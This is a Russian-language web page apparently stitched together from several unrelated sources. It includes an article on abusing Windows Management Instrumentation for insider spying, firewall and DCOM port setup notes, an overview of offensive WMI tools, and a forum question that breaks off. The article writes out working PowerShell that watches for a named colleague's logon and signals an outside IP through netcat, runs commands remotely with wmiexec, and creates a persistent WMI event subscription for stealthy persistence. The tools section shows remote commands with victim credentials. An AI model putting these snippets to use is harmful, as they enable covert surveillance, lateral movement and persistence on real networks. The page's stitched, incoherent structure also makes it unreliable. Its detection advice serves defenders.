Инструментарий управления windows wmi входящий трафик

Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга.

Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.

Краткий обзор: что такое WMI и для чего он нужен?

Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.

В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.

Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\Users\lex\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action 

Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

  • для сбора информации о статусе локальных и удаленных компьютерных систем
  • настройки параметров безопасности для удаленных компьютеров и приложений
  • настройки и редактирования свойств системы
  • настройки и редактирования разрешений для авторизованных пользователей и групп
  • выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
  • назначения и редактирования меток дисков
  • создания графика выполнения процессов
  • резервного копирования репозиториев объектов
  • включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Архитектура инструментария управления Windows

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

  • Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
  • Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
  • Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
  • Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
  • Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
  • Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
  • Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
  • API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
  • Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

  1. Откройте командную строку
  2. Введите WMIC для вызова программы и нажмите клавишу Enter
  3. Появится окно командной строки WMIC
  4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
    WMIC CPU

  5. Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Практикум по использованию событий WMI для наблюдения за системой

В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:UserslexDocumentsnc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:UserslexDocumentsnc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.wmiexec C:UserslexDocumentsnc.exe 172.31.18.92 80 }}}
.wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Почему при наблюдении нужно использовать постоянные события?

Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.

Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.

Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.

Постоянные события: советы для ИТ-администраторов

Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:

$Filter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments @{

EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}


$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:userslexDocumentsnc.exe 172.31.45.240 10000}}}"


$Consumer = Set-WmiInstance -Namespace rootsubscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command

}

Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.

В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.

Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.

Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.

Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?

Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:

Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.

Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:

Удаление постоянных событий WMI включает использование конвейера PowerShell

Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Заключение

Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.

Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.

Отключение блокировки ответа на ping-запросы.

Зайдите в «Пуск» -> «Панель управления», выберите пункт «Система и безопасность» -> «Брандмауэр Windows» -> «Дополнительные параметры».

В левой колонке выберите пункт «Правила для входящих подключений» левой кнопкой мыши «Создать правило».

В списке «Правила для входящих подключений» найдите и выберите правило «Наблюдение за виртуальной машиной (эхо-запрос – ICMPv4 – входящий трафик)», затем нажмите на «Включить правило».

Отключение блокировки ответа на WMI и RPC-EPMAP трафика. ( метрика системы)

Зайдите в «Пуск» -> «Панель управления» -> «Система и безопасность» ->  «Брандмауэр Windows» -> «Дополнительные параметры».

В левой колонке выберите пункт «Правила для входящих подключений» левой кнопкой мыши.

В списке «Правила для входящих подключений» найдите и выберите правило «Инструментарий управления Windows (WMI — входящий трафик)» и «Удаленный мониторинг событий (RPC-EPMAP)». Вы можете выбрать правило, относящееся к вашему профилю сети «Домен или Частный, Общий». Затем нажмите на «Включить правило». 

070_0

Windows Management Instrumentation

WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows.

Необходимые службы

Служба удаленного управления Windows (WS-Management)

WMI – это протокол прикладного уровня, работающий поверх DCOM. Соответственно, открывать порты необходимо именно для DCOM, каких-либо своих специальных портов у WMI нет. DCOM, в свою очередь, протокол прикладного уровня, работающий поверх удалённого вызова процедур (Remote procedure call, RPC). Вместе связка WMI-DCOM-RPC образует фундамет удалённого управления WindowsRPC использует порт TCP 135 на стороне удалённого ПК

для открытия RPC на сервере необходимо либо целиком открыть порт TCP 135 для входящих соединений, либо, если позволяет межсетевой экран, открыть порт TCP 135 только для службы RpcSs.

С открытием DCOM всё несколько сложнее. DCOM требует дополнительное TCP-соединение поверх RPC. Для подобных соединений TCP-порты на серверной стороне выделяются динамически. Сначала клиент по TCP 135 запрашивает номер порта для соединения с DCOM-сервером. Сервер выделяет клиенту новый порт и отправляет его номер в ответ. Клиент получает номер и создаёт второе TCP-соединение на порт с полученным номером. По умолчанию, DCOM может использовать весь диапазон от 1024 до 65535. Поэтому чтобы разрешить DCOM в общем случае приидётся … открыть все TCP-порты от 1024 и выше.

Во-вторых, если сетевой экран не позволяет назначать правила службам, то можно ограничить диапазон портов, разрешённых для DCOM. Для этого открываем Администрирование – Службы компонентов (или в командной строке набираем dcomcnfg.exe). В открывшейся программе находим ветку «Мой компьютер» и открываем её свойства

DCOM_Config

В свойствах открываем вкладку «Набор протоколов», там, в свою очередь, открываем свойства «TCP/IP с ориентацией на подключения»

DCOM_Protocols

В свойствах TCP/IP по умолчанию – пустой список. В него можно добавить конкретный диапазон портов, которые будут использоваться DCOM. Какие именно порты выбрать – решать вам. Главное, чтобы не было других стандартных служб, уже занявших выбранные порты. Мне встречались рекомендации открывать не менее 1000 портов, так как очень многие системные программы используют DCOM. Так на скриншоте ниже я указываю, что DCOM должен работать по диапазону портов 20000-21000.

DCOM_Ports

После этого нужно перезагрузить сервер (перезапустить отдельно DCOM нельзя, слишком много на него завязано), и DCOM станет работать только по указанным портам.

Поскольку WMI-DCOM-RPC активно используются инфраструктурой Windows, то все приличные программные сетевые экраны имеют предустановки для них. В частности, брандмауэр Windows в режиме повышенной безопасности имеет группу правил «Инструментарий управления Windows (WMI)», состояющую из всего вышеперечисленного: TCP 135 для RpcSs, все порты для Winmgmt и unsecapp.exe. Включить эти правила можно из командной строки:

netsh advfirewall firewall set rule group=»windows management instrumentation (wmi)» new enable=yes

В Windows XP, имеющей более простой брандмауэр, можно использовать команду

netsh firewall set service RemoteAdmin enable

Устранение проблем с доступом к WMI

В Windows Vista и выше проверить целостность репозитория WMI  можно с помощью команды:

winmgmt /verifyrepository

Если команда возвращает, что база данных WMI находится в неконсистентном состоянии (INCONSISTENT), стоит попробовать выполнить «мягкое» восстановление репозитория:

Winmgmt /salvagerepository

И перезапустить службу wmi:

net start Winmgmt

сброс репозитария
Winmgmt /resetrepository



Содержание

  1. Описание
  2. WmiShell
  3. WMImplant
  4. WMIOps
  5. Вывод

Описание

Windows Management Instrumentation ((WMI) – это технология Microsoft, которая была разработана, чтобы позволить администраторам выполнять локальные и удаленные операции управления по сети.

Поскольку WMI является частью экосистемы Windows, которая существует с Windows 98, ее можно использовать практически в каждой сети, независимо от того, работает ли она под управлением Windows 10 или Windows XP.

Некоторые из операций, которые могут выполняться через WMI:

  • Выполнение команды
  • Передача файла
  • Чтение файлов и ключей реестра
  • Проверка файловой системы
  • Подписаться на мероприятия

Злоумышленник могут использовать функциональность WMI и тот факт, что ее можно использовать против различных систем Windows, чтобы выполнять ретрансляцию хоста, выполнять команды и т.д.

Служба WMI использует DCOM (TCP-порт 135) или протокол WinRM (SOAP-порт 5985).

Он работает как SYSTEM, и необходимы учетные данные администратора.

С 2014 года существуют различные инструменты, которые существуют публично, которые могут использоваться как команда и управление через WMI.

WmiShell

WmiShell – это скрипт PowerShell, который является частью WmiSploit и основан на WMIShell, который был разработан на python Андреем Думитреску.

Этот сценарий использует пространства имен WMI для выполнения команд.

 Enter-WmiShell -ComputerName desktop-1st179m -UserName netbiosX 

WmiSploit содержит также скрипт, который может выполнять команды и скрипты PowerShell на удаленной цели, используя WMI в качестве канала связи.

 Invoke-WmiCommand -ComputerName desktop-1st179m -ScriptBlock {tasklist} 

WMImplant

Chris Truncer разработал WMImplant, который является инструментом PowerShell, который использует WMI для выполнения наступательных операций.

Его можно использовать в качестве средства управления и контроля с тем преимуществом, что он не требует, чтобы агент был сброшен на цель.

Однако необходимы учетные данные администратора.

 Import-Module .WMImplant.ps1
Invoke-WMImplant 

Возможности WMimplant можно найти в главном меню после его выполнения.

Он может выполнять операции передачи файлов, боковое перемещение и повтор хоста.

Для выполнения правильных учетных данных для удаленных подключений требуется изменить change_user перед выполнением любых других команд.

Также возможно выполнить небольшие скрипты PowerShell на целевую машину.

Дополнительно, как и инструмент WmiShell, он имеет функциональность оболочки, которая может быть запущена с помощью команды command_exec, как показано ниже:

Операции с файлами также могут выполняться удаленно.

WMIOps

До WMImplant Chris Truncer разработал WMIOps, который может использоваться для выполнения различных действий на цели во время аудита.

Некоторые из этих действий включают:

  • Перенос файлов
  • Пусковые процессы
  • Процессы килл
  • Совместное использование папок

Несмотря на то, что функциональность ограничена сравнением с WMImplant, она реализует идею выполнения команд и получения вывода через WMI.

Invoke-ExecCommandWMI имеет возможность запускать процесс удаленно.

Калькулятор стартанет на целевом хосте.

Передача файлов через WMI может быть выполнена с помощью следующей функции.

Однако для удаленного и локального компьютеров необходимы учетные данные локального администратора.

 Invoke-FileTransferOverWMI -RemoteUser victimusername -RemotePass victimpassword -TARGETS 192.168.1.124 -File C:UsersnetbiosXDesktopWMImplant.ps1 -Download C:UsersUserDownloadsWMIWMImplant.ps1 -LocalUser Administrator -LocalPass pentestlab 

Получение информации о системном диске:

Вывод

Использование WMI для хостов ретрансляции может позволить злоумышленнику остававаться скрытым и обновлять информацию.

Тот факт, что WMI не требует удаления двоичного кода для извлечения информации и что большинство безопасников не контролируют действия WMI, могут исключить риск обнаружения.

Поэтому необходимо не полностью отключать WMI и фильтровать трафик на порты 135 и 5985, если это необходимо.

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

  • Question

  • На одном из серверов 2012R2 начались проблемы с доступом по сети.

    Началось всё с того, что я потерял возможность подключатся оснасткой Hyper-V запущенной от пользователя с правами администратора. И теперь обратил внимание что и по WMI я не могу к серверу подключатся — пишут отказано в доступе.

    Службы которые должны быть запущены — запущены. Ни каких изменений вроде не производилось. Как мне продиагностировать ошибку? Мне кажется это всё связанно…

All replies

  • В каких логах искать? В сети есть ещё один сервер тоже с 2012R2 и там всё нормально. Проблема уже несколько месяцев, не могу точно сказать про обновления. Проблемный сервер работает в режиме облегчённой оболочки…
    но изначально всё было нормально. Антивирус не стоит. Брандмауэр на всех серверах настроен одинаково…

  • Запустил журнал на сервере, ошибки при доступе к журналу, хотя всё показывает:

    Имя журнала:   Security
    Источник:      Microsoft-Windows-Security-Auditing
    Дата:          07.11.2016 13:22:56
    Код события:   4656
    Категория задачи:Файловая система
    Уровень:       Сведения
    Ключевые слова:Аудит отказа
    Пользователь:  Н/Д
